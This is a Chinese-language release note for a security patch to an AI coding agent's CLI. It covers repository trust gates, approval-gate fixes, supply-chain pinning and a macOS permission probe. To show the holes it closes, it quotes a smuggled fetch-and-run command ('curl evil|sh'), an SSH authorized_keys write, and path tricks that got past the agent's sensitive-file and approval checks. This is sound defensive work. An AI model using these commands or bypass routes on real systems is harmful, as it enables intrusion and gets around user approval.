v3.5.1 安全补丁版
v3.5.1 发布记录
日期:2026-08-22
上一版本:v3.5.0(release commit4a1228226,2026-08-19)
提交数:7 commits(4 fix(security) / 1 fix(computer-use) / 1 fix(desktop) / 1 feat(desktop))
范围:CLI 线安全补丁版。按 codex-security 方法论安全扫描的收口系列(信任门三根修 + 门禁检测五修 + 供应链钉扎/L 系列)+ 审查补漏 + computer use macOS 权限探针修复。桌面端两提交随下一版桌面线发布。
1. workspace-trust 项目信任门(fbe68cb0a)
恶意仓库经项目级文件自我授权的三条通道收口(SECURITY.md 信任边界「仓库内容不能单独构成执行授权」此前只在文档成立):
- H1 项目 hooks:
<cwd>/.rivet/hooks.json未授信不加载(此前 spawnSync shell:true 无门禁,恶意仓库打开即任意执行) - H2 项目配置:loadConfig Layer 3 未授信剥离安全键(permissions/mcp/hooks/env/provider/providers/search/verify + agent.approval/agent.unsandboxed/ui.statusLine/skills.importFromClaude)
- H3 MCP 拉起:随 mcp 剥离自动收口;verify 声明命令与桌面端 agent 块合并两处直读口同步设门
- 信任决策:TUI
/trust、CLI--trust/--untrust、envRIVET_TRUST_PROJECT,持久化~/.rivet/project-trust.json(realpath 键控,不写回仓库)
2. 门禁与检测层五修(9c03e6cd8)
- H4 验证命令 argv 化:wave-gate/deliver-task/typecheck-gate 声明命令此前前缀正则白名单 + shell:true——
npx tsx; curl evil|sh实测穿透。新verify-command.tstoken 字符集白名单(拒全部 cmd/sh 元字符)+ argv 形状校验,POSIX 直 spawn / win32 经 ComSpec - H5 ast_edit 接管 validatePathSafe:写类路径边界 + 敏感文件硬门 + symlink 复检(此前完全绕过,auto-safe 零审批写出工作区)
- H6 bash 安全写按操作数落点放行:
echo k >> ~/.ssh/authorized_keys不再自动免审 - M2-M4:破坏性门禁补族(remove-item/del /s/find -delete/shred/rsync --delete/truncate table/rm 分离旗标);敏感检测归一化匹配(
scripts/../.env、.ENV绕过关闭)+ detectSensitiveGitAdd 接线进 bash 审批与 git commit 门;敏感模式补 basename 无扩展形态 - M7:越工作区路由扩至 export_file/open_path/create_document 族
3. 供应链钉扎 + server 面加固(28beed3a7)
- M1 better-sqlite3 原生二进制全 12 平台 tarball SHA-256 钉扎(有钉扎全镜像校验硬失败,无钉扎仅放行基础设施源)
- M5 插件名模式约束(防安装路径穿越/递归删任意目录)
- L 系列:CORS 白名单反射 + Host 回环校验(新
server/cors.ts,通配*清除);/health 匿名收敛为 {ok,version};speech/greeting/open-file 路由级鉴权;session id 换 CSPRNG;fetchWithTimeout 默认redirect:'error'(堵 x-api-key 跨源重定向泄漏);SSRF 黑名单补 NAT64/6to4;凭证/转录文件 0600;run-tests Windows 引号覆盖 cmd 元字符;apply_patch 目标过 validatePathSafe;swebench 全参数数组 spawn
4. 信任门剥离补漏——审查修复(4589cfc39)
v3.5.1 内对 fbe68cb0a 的审查发现:schema 的 permissions 实际嵌在 agent.permissions(剥离清单里的顶层 permissions 是死条目)——未授信项目可经 additionalWriteDirs 常驻写授权、allow 规则、bash.allowlist 预授权自我授权。补 ['agent','permissions'] 嵌套剥离 + plugins/mirrors 入顶层清单;测试改按真实消费路径断言(原断言查不存在的顶层键,空转通过)。
5. computer use macOS 权限探针(ae2ddfa6b,Pro)
用户症状:授权屏幕录制后,关掉 computer use 菜单再点回去又要重新授权。根因在探针自身:screencapture CLI 探测在未授权态每次触发 macOS 系统弹窗(5s 超时强杀 → 永远报缺失)。改 CGPreflightScreenCaptureAccess() / AXIsProcessTrusted() ASObjC 无副作用读 TCC;已授权待重启态明示「重启生效」而非引导重授权。
6. 桌面端(随下一版桌面线发布,此处仅记录)
- 输入框附件缩略图点开 ImageLightbox(
fd5ce1b12) - macOS 消息文字选区复制修复(ContextMenuTrigger selectable 逃逸口)+ lightbox 双端捏合缩放(
1f3bb48e1)
已知事项
- macOS 桌面端 TCC 层面:ad-hoc 签名导致每次更新屏幕录制/辅助功能授权失效、未公证 app 的月度系统重确认弹窗——根治需 Developer ID 签名 + 公证(打包脚本
codesign-nested.js已就绪,配APPLE_SIGNING_IDENTITY即可)